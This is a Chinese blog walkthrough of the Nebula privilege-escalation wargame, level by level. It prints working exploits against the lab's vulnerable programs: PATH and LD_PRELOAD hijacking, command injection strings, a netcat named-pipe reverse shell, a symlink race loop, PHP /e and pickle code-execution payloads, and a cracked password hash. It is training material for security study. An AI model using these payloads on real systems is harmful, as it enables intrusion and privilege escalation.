最近又找到个东西玩,https://exploit-exercises.com/nebula/
下载地址:https://drive.google.com/folderview?id=0B9RbZkKdRR8qLWZBcVBvanlLb1U&usp=sharing
这个nebula应该是其中最简单的一个练习了,看了看国内好像还没有针对这个给出WriteUp,于是就抽空写了一份,希望对大家有所帮助。

level 00

这个一题的目的是找到一个suid的文件,已经提示了是看find的文档,很简单。用find-perm选项即可。

level00@nebula$ find / -perm -4000 > res.txt

查找完成后会看到一个/bin/.../flag00,运行后即可。

level00@nebula$ /bin/.../flag00
flag00@nebula$ getflag 

level 01

给了一个程序的源码,让我们继续利用的suid去执行某些东西。

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}

分析源码,可以看到最后调用了system("/usr/bin/env echo and now what?");env这个东西是从环境变量的PATH里去寻找echo的路径并执行的。但是环境变量有个特点,就是按照顺序从左向右寻找,例如:PATH=/path1:/path2,那么查找echo的时候,会先从path1开始寻找。

所以我们只要在所有的PATH之前加上一个可以控制的目录,并在里面放个echo,运行这个程序的时候就会执行我们的程序了。

level01@nebula$ PATH=/tmp:$PATH
level01@nebula$ export PATH
level01@nebula$ echo $PATH

这样就把/tmp加入了PATH了最左边的位置。然后就可以在/tmp下面新建一个echo文件,做猥琐的事情了。

level01@nebula$ ln -s /bin/bash /tmp/echo
level01@nebula$ ./flag01

但是这样是不行的,因为bash把后面的内容当作了命令,自然是提示找不到命令。我通过了一个技巧绕过了这个限制,在/tmp下面新建一个文件echo,写入如下内容即可:

#!/bin/bash
/bin/bash

运行试试

level01@nebula$ ./flag01
flag01@nebula$ getflag

level 02

依然是给了一段代码:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);
  
  system(buffer);
}

通读代码,发现还是这个环境变量的问题,比较简单,只要设置USER变量为'a;bash;'即可。

level02@nebula$ USER='a;bash;'
level02@nebula$ ./flag02
flag02@nebula$ getflag

level 03

这个没有给源码,只是告诉我们有个crontab文件,进去看一下,发现writable.d目录是可写的,旁边还有个sh文件,大意是运行writable.d文件夹下所有的文件。这样一来就简单了,新建一个getflag.sh,写入如下内容:

#!/bin/bash

/bin/getflag > /tmp/xxx.out

等一会就运行了,然后去cat /tmp/xxx.out,发现已经成功了。
PS:这些题目的flag判断是以目标账户执行程序为标准,只要使用目标账户执行了getflag,就算成功。

level 04

这个题给了我们一个程序的源码,让我们去绕过限制,读取token文件的内容。

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));
  
  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}

通读代码,发现做了两个检测,一个是参数的数量,另一个就是文件名中是否包含token字符串,很明显可以发现这个题的point在如何绕过这个文件名的问题,使用软链接就可以啦!

level04@nebula$ ln -s /home/flag04/token /tmp/abc
level04@nebula$ ./flag04 /tmp/abc

level 05

看题意应该是权限的问题,我们到系统里看一下。
发现/home/flag05下面有两个隐藏的目录,分别是.ssh.backup,但是.ssh是因为权限问题进不去的。可是.backup目录却可以进入,把里面的tgz文件复制到自己的home目录下,解压发现了公钥之类的一些东西,ssh登陆127.0.0.1就可以了。

level05@nebula$ ls -al /home/flag05
level05@nebula$ cp .backup/backup<tab> ~/
level05@nebula$ tar xf backup<tab>
level05@nebula$ ssh flag05@127.0.0.1
flag05@nebula$ getflag

level 06

只有一句我也看不太懂的话:The flag06 account credentials came from a legacy unix system.

先登陆进去看看。找了一圈啥也没有,无意间翻到了/etc/passwd中,发现了flag06这个用户的密码存储方式比较奇葩

flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh

直接丢给john the ripper去破解,秒破。

# root at lightless-kali in ~ [22:09:08]
$ john password 
Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16])
hello            (flag06)
guesses: 1  time: 0:00:00:00 DONE (Mon Aug  3 22:09:14 2015)  c/s: 48972  trying: 123456 - nutmegs
Use the "--show" option to display all of the cracked passwords reliably

# root at lightless-kali in ~ [22:09:14]
$ cat password 
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh

剩下的事情就不用多说了。

Ps:做完之后,想明白了题目的含义了,旧版本的unix系统密码不都是这么存的嘛,所以说came from a legacy unix system呀。

level 07

一个perl程序,用于ping检测的,第一想到的就是命令注入,先看看源码吧。

#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
  $host = $_[0];

  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; }

  print("</pre></body></html>");
  
}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

可以看到,程序接收一个Host参数。

wget -O- "http://127.0.0.1:7007/index.cgi?Host=localhost"

这样会返回正常的结果,想办法弹个shell回来,或者开个端口自己连上去,应该就是flag07用户了。

wget -O- "http://127.0.0.1:7007/index.cgi?Host=127.0.0 || nc -vv -l 8888;"

这样确实可以,但是并没有编译-e参数,意料之中,很多linux的发行版考虑到安全问题都去掉了-e参数,即没有指定GAPING_SECURITY_HOLE常量。但是可以绕过的,需要一点技巧。

首先现在本地进行监听(切换到其他的tty去),依然选择回弹shell的方式进行攻击。

nc -lnvp 8888

攻击思路是这样的:先创建一个管道,然后将shell的环境的输入重定向给管道,然后把输出通过nc重定向到攻击者的一端,然后将shell的执行结果再重定向到管道中,这么说可能有些混乱,我们看一下代码。

mknod /tmp/backpipe p
/bin/bash 0</tmp/backpipe | nc 127.0.0.1 8888 1>/tmp/backpipe

然后我们把这里两条合起来加到我们的payload中。

wget -O- "http://127.0.0.1:7007/index.cgi?Host=127.0.0 || mknod /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 127.0.0.1 8888 1>/tmp/backpipe"

这样一来,shell成功的弹了回来

level07@nebula$ nc -vv -l 8888
Connection from 127.0.0.1 port 8888 [tcp/*] accepted
whoami
flag07
getflag
You have successfully executed getflag on a target account

level 08

给了个pcap文件,从流量中分析出些什么猥琐的东西。
丢到wireshark里,发现大概共100个数据包,只有两个IP,直接跟踪TCP流,看到了些有趣的东西。

..%..%..&..... ..#..'..$..&..... ..#..'..$.. .....#.....'........... .38400,38400....#.SodaCan:0....'..DISPLAY.SodaCan:0......xterm.........."........!........"..".....b........b.....B.
..............................1.......!.."......"......!..........."........".."................
.....................
Linux 2.6.38-8-generic-pae (::ffff:10.1.1.2) (pts/10)

..wwwbugs login: l.le.ev.ve.el.l8.8
..
Password: backdoor...00Rm8.ate
.
..
Login incorrect
wwwbugs login: 

看起来好像数据包不完整,用那个密码也不能登陆成功。换成十六进制看看。

    000000D6  00 0d 0a 50 61 73 73 77  6f 72 64 3a 20          ...Passw ord: 
000000B9  62                                               b
000000BA  61                                               a
000000BB  63                                               c
000000BC  6b                                               k
000000BD  64                                               d
000000BE  6f                                               o
000000BF  6f                                               o
000000C0  72                                               r
000000C1  7f                                               .
000000C2  7f                                               .
000000C3  7f                                               .
000000C4  30                                               0
000000C5  30                                               0
000000C6  52                                               R
000000C7  6d                                               m
000000C8  38                                               8
000000C9  7f                                               .
000000CA  61                                               a
000000CB  74                                               t
000000CC  65                                               e
000000CD  0d                                               .

问题一下子就出来了,0x7f怎么会是一个点号呢,查了一下发现是backspace,也就是退格键,试试我们的新密码吧:backd00Rmate,后面的事情就不用多说了。

level 09

竟然给了世界上最好的语言。

<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);
  
  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

还有个setuid的C程序,不过从源码中发现了在使用preg_replace的时候用到了/e,这个参数已经在PHP5.5以上被废弃了。对于构造这样的payload,应该比较容易了。这里的代码也比较容易构造。

[email {${phpinfo()}}]

成功执行,至于你要问为啥,请移步:http://php.net/manual/en/language.types.string.php#language.types.string.parsing

继续构造执行命令的payload。

[email {${system("getflag")}}]

结果发现双引号被转义了,执行不了。但是函数还有个$use_me参数,应当算作提示吧。

[email {${system($use_me)}}]

最终结果如下:

$ cat /tmp/aa.txt
[email {${system($use_me)}}]

$ ./flag09 /tmp/aa.txt getflag

完成了。

level 10

题目做到这里就变得有趣起来了。
这个题给了一个C程序的源码,通读下来,是一个上传文件的程序,使用了access()做了限制,通过限制后就会通过socket把文件内容传输过去。

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}

如果对*nix不熟悉的同学,可能觉得这代码没啥问题。但实际上这是个TOCTTOU(Time of check to time of use)bug。在分析前我们先弄明白两个东西,分别是Effective user IDReal user ID
ruid的作用是Identify the real user,而euid的作用是Decides access level。如果还不明白的同学请参考https://en.wikipedia.org/wiki/User_identifier#Real_user_ID

而这里的access()检查的是ruid,在access()检查和使用open()打开文件之间的这段时间里,我们完全可以替代掉打开的文件为token,因为我们已经通过了检查。也就是说,用一个有权限的文件去绕过access的限制,之后马上把文件替换成没有权限的token,因为已经经过了检查,所以程序可以毫无阻碍的打开没有权限的token文件。(在这个题中没有访问token文件的权限,而flag就在token中)

现在来解这个题,首先我们需要一个循环脚本来不停的做链接来替换文件。/tmp/aaa我们是有权限access的,而token则没有,所以要不停的替换,让access的时候传入token,然后就替换成token文件。

while true;
do 
    ln -sf /home/flag10/token /tmp/ttt
    ln -sf /tmp/aaa /tmp/ttt
done

接着把nc跑起来本地监听18211端口,接下来再写个循环不停的运行目标程序吧,剩下的事情就是看脸了。

while true;
do
    /home/flag10/flag10 /tmp/ttt 10.211.55.2
done 

然后看到了nc那边的输出,得到了token文件的内容。后面的事情就不用说了。

level 11

这题有点意思了,给了源码,题目说有两种方式完成本题。

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();
  
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));
  
  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

}

同样的也是先通读源码,一开始需要输入Content-Length:加一个整数,如果小于1024的话,会继续调用fread(),如果大于或等于1024的话,就会随机打开一个随机的文件描述符,然后把content的内容复制到这个文件中,然后把这个文件中的内容读入内存中紧接着执行process()函数,可以看到不管如何最终都会调用process()函数,这个函数是一个十分简单的解密函数。

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

不是很难,很容易写出反解的脚本。

#!/usr/bin/env python2

cmd = 'getflag\x00'
length = 1024
key = length & 0xff

res = ""
for i in range(len(cmd)):
    enc = (ord(cmd[i]) ^ key) & 0xff
    res += chr(enc)
    key = (key - ord(cmd[i])) & 0xff 
print "Content-Length: " + str(length) + "\n" + res + "A"*(length - len(res))

需要注意的就是在命令的最后需要自己手动加个null字节进行截断。源程序中还需要一个TEMP的环境变量,设置一下。

$ export TEMP=/tmp

这样就完成了,但是题目说有两种解法,再回过头来仔细看看,发现了一个bug,不知道是手抖还是故意的。

if(fread(buf, length, 1, stdin) != length) {

这一行代码,看起来没啥问题,我们看一下fread的函数原型。

size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream);

The function fread() reads nmemb elements of data, each size bytes
long, from the stream pointed to by stream, storing them at the loca‐
tion given by ptr.

fread() and fwrite() return the number of items successfully read or
written (i.e., not the number of characters).

看完就明白了,这个fread总会返回1,所以我们必须输入Content-Length: 1,才能满足这个条件。
我们试一下:

level11@nebula:/tmp$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11 
sh: $'y@z': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11 
sh: $'yp5': command not found

发现每次都是随机的,但是有时候会出现这样的情况:

level11@nebula:/tmp$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11 
sh: $ y: command not found

刚好出现了一个y,那我们新建一个脚本,名字为y,还是用PATH顺序的方法让他优先执行我们的脚本。

level11@nebula:/tmp$ cat /tmp/y
#!/bin/bash
/bin/bash

level11@nebula:/tmp$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11 
getflag is executing on a non-flag account, this doesn't count

为啥不算数,我觉得算数了啊,这明显是setuid的程序通过system调用的呀,迷。

level 12

一段lua脚本,题目描述是一个backdoor,监听在50001端口。

local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password)
  prog = io.popen("echo "..password.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end


while 1 do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local line, err = client:receive()
  if not err then
      print("trying " .. line) -- log from where ;\
      local h = hash(line)

      if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
          client:send("Better luck next time\n");
      else
          client:send("Congrats, your token is 413**CARRIER LOST**\n")
      end

  end

  client:close()
end

先把那串hash丢到CMD5里去解一下,发现解不开,看了这个题的point不在这里。

仔细读源码的话就会发现命令注入,在prog = io.popen("echo "..password.." | sha1sum", "r"),没有过滤就代入了,直接构造payload就好了,比较简单。

Password: 123;getflag;#

然而没输出成功的消息,试试重定向:

Password: 123;getflag > /tmp/123;#
$ cat /tmp/123

成功了。

level 13

这个题同样给了一个源码,是通过getuid()进行检查的,如果不等于1000就退出。当然计算token的过程被略去了。

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{
  int c;
  char token[256];

  if(getuid() != FAKEUID) {
      printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
      printf("The system administrators will be notified of this violation\n");
      exit(EXIT_FAILURE);
  }

  // snip, sorry :)

  printf("your token is %s\n", token);
  
}

通读代码,这时候有几个思路可是尝试下:

  1. IDA里找到计算token的过程,但是这么玩就没意思了。
  2. 改汇编代码,把getuid的判断结果改为当前用户的uid
  3. hook getuid这个函数,让其返回1000,从而绕过判断。

我们一个一个来分析,先说第一个,纵然是最简单的,不费吹灰之力就得到了token,只是把一串密文与0x5a进行了异或操作。

第二个方法也比较简单,没啥好说的。

我们来看看第三个方法,劫持掉getuid()函数。可能实现起来比较麻烦,但是可以通过环境变量LD_PRELOAD来使事情变得简单。LD_PRELOAD可以影响程序运行时的链接,这个变量允许你定义在程序运行时优先加载的动态链接库。

于是我们写一个程序mygetuid.c,内容如下:

#include <sys/types.h>
uid_t getuid(void) {return 1000;}

然后把它编译成so库文件: gcc -shared -fPIC mygetuid.c -o mygetuid.so,接下来设置LD_PRELOAD变量。

$ LD_PRELOAD="/home/level13/mygetuid.so"
$ export LD_PRELOAD
$ ./flag13

成功。这里需要注意一点,需要将/home/flag13/flag13复制到/home/level13/下面运行才可以,因为需要flag13和这个so文件的ruid是一样的才可以。

level 14

这题目看着有点像密码学系列,这个程序会把输入加密,并且将密文输出,我们要做的是把加密过的token解开。

这题要么拿去逆一下,要么试试有没有规律输出。
输入aaaaaaa输出abcdefg,看起来好像只是简单的递增关系,第0个位置加0,第1个位置加1,以此类推,这样很快就能写出解密脚本。

#!/usr/bin/env python2
token = "857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW."

cnt = 0
res = ""
for i in token:
    res += chr(ord(i) - cnt)
    cnt += 1

print res

level 15

这个题,直接让我用strace了,那就照做吧。结果发现这货在/var/tmp/flag15这个位置寻找libc.so.6,结果肯定找不到的。应该是在编译的时候指定了选项,因为正常情况下是会搜索/lib/usr/lib两个路径,如果都未找到,按照/etc/ld.so.conf里面的配置进行绝对路径的查找。当然可以通过环境变量LD_LIBRARY_PATH进行指定,但是这个变量是全局影响,显然这题应该不是这么做的。

ld关于这部分的选项主要有三个,分别是-L-rpath-link-rpath,其中前两个都是在链接的时候用到的,而-rpath则是运行的时候去寻找的,对于这部分不熟悉的同学,请参考题目给出的参考链接。

通过objdump -p flag15命令,确实看到了指定了rpath,是/var/tmp/flag15,同时发现需要GLIBC_2.0版本,于是在这里弄一个libc试试。(RPATHLD_PRELOAD的区别请自行百度,与setuid有关。)

既然可以丢入自己的libc库,直接劫持掉__libc_start_main()吧,但是首先我们要解决掉版本问题。新建一个shell.c,就写入下面这一行代码。

#include <stdlib.h>

进行编译:

$ gcc -fPIC -shared shell.c -o libc.so.6

运行flag15后提示no version information。那么写个version信息试试。
新建一个文件version,写入以下内容:

GLIBC_2.0{};

然后进行编译:

$ gcc -fPIC -shared -Wl,--version-script=version  shell.c -o libc.so.6

继续运行flag15,结果提示No version GLIBC_2.1.3 not found,可能是指向了其他的GLIBC,静态编译吧。

$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic  shell.c -o libc.so.6

OK,版本问题解决了,现在是提示找不到__libc_start_main了,这个好办,我们自己写一个。继续修改shell.c,代码如下:

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
    char *file = SHELL;
    char *argv[] = {SHELL,0};
    setresuid(geteuid(),geteuid(), geteuid());
    execve(file,argv,0);
}

同时version文件也要改一下:

GLIBC_2.0{
global:__libc_start_main;
local: *;
};

编译:

$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic  libc.c -o libc.so.6

运行,获得了flag15shell,搞定。

level 16

又给了一个perl脚本,代码:

#!/usr/bin/env perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub login {
  $username = $_[0];
  $password = $_[1];

  $username =~ tr/a-z/A-Z/; # conver to uppercase
  $username =~ s/\s.*//;        # strip everything after a space

  @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
  foreach $line (@output) {
      ($usr, $pw) = split(/:/, $line);
  

      if($pw =~ $password) {
          return 1;
      }
  }

  return 0;
}

sub htmlz {
  print("<html><head><title>Login resuls</title></head><body>");
  if($_[0] == 1) {
      print("Your login was accepted<br/>");
  } else {
      print("Your login failed<br/>");
  }    
  print("Would you like a cookie?<br/><br/></body></html>\n");
}

htmlz(login(param("username"), param("password")));

听说又有命令注入:

@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;

很明显,username处存在命令注入,要么弹个shell回来,要么直接执行命令。这里对用户名进行了限制,会将其转换成大写,并且去掉第一个空格之后的任何内容。

对于第一个限制,可以使用Case modification进行绕过。http://wiki.bash-hackers.org/syntax/pe#case_modification

对于第二个限制,可以采取如下方式

"</dev/null;pwnvar=/tmp/ttt;${pwnvar,,};#

/tmp/ttt中写入:

#!/bin/sh
/bin/getflag > /tmp/aaa

payload代入username即可。后来发现,这样的payload也是可以的:

`/*/MYSHELL`

其中MYSHELL是一个shell脚本。

level 17

这次给了个python脚本。

#!/usr/bin/python

import os
import pickle
import time
import socket
import signal

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

def server(skt):
  line = skt.recv(1024)

  obj = pickle.loads(line)

  for i in obj:
      clnt.send("why did you send me " + i + "?\n")

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)

while True:
  clnt, addr = skt.accept()

  if(os.fork() == 0):
      clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
      server(clnt)
      exit(1)

一眼就发现了关键点,pickle.loads(line)。应该是在反序列化的时候出现了问题,导致可以执行任意代码。之前我的博客也提到过:http://lightless.me/archives/Python-Pickle-Code-Execute.html

但是在这里似乎比较麻烦,需要自己构造序列化以后的东西,当然利用类的__reduce__方法也可以。

cos
system
(S'getflag > /tmp/res'
tR.

把这些内容保存到a.txt,然后通过nc发送过去,具体怎么发送都无所谓了。

level 18

给了C源码,有三种方式过关,难度递增。代码太长就不贴出来了。
不过这个题有点难度,栈溢出的话需要绕过栈stack canaries,格式化字符串漏洞需要绕过FORTIFY_SOURCE,可以看一下这篇文章:http://phrack.org/issues/67/9.html

感觉最简单的方法就是耗尽系统资源,关于这个题的解答可以看这里:http://v0ids3curity.blogspot.com/2012/09/exploit-exercise-improper-file-handling.html

level 19

看完18再来看这个简直是酸爽啊,突然觉得好幸福。

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp)
{
  pid_t pid;
  char buf[256];
  struct stat statbuf;

  /* Get the parent's /proc entry, so we can verify its user id */

  snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());

  /* stat() it */

  if(stat(buf, &statbuf) == -1) {
      printf("Unable to check parent process\n");
      exit(EXIT_FAILURE);
  }

  /* check the owner id */

  if(statbuf.st_uid == 0) {
      /* If root started us, it is ok to start the shell */

      execve("/bin/sh", argv, envp);
      err(1, "Unable to execve");
  }

  printf("You are unauthorized to run this program\n");
}

这个题也是要突破这个程序,通读下来,发现这个程序的流程是首先获取父进程的PID,然后再根据这个PID/proc下面找对应的文件夹,如果这个文件夹是属于root的,就可以执行shell了。

但是在*nix中涉及到一个父子进程的问题,就是如果父进程死了,那么子进程就变成了孤儿进程,然后init会把这个孤儿进程作为自己的子进程,而init则是由root启动的,这样就可以突破限制了。这代码是从网上找了一份,拿来改了改。

#include <unistd.h>

int main(int argc, char **argv, char **envp) {
    int childPID = fork();
    if(childPID >= 0) { // forked
        if(childPID == 0) { // child
            sleep(1);
            setresuid(geteuid(),geteuid(),geteuid());
            char *args[] = {"/bin/sh", "-c", "/bin/getflag", NULL};
            execve("/home/flag19/flag19", args, envp);
        }
    }
    return 0;
}

通关了

终于通关了,脑洞大开,各种黑魔法。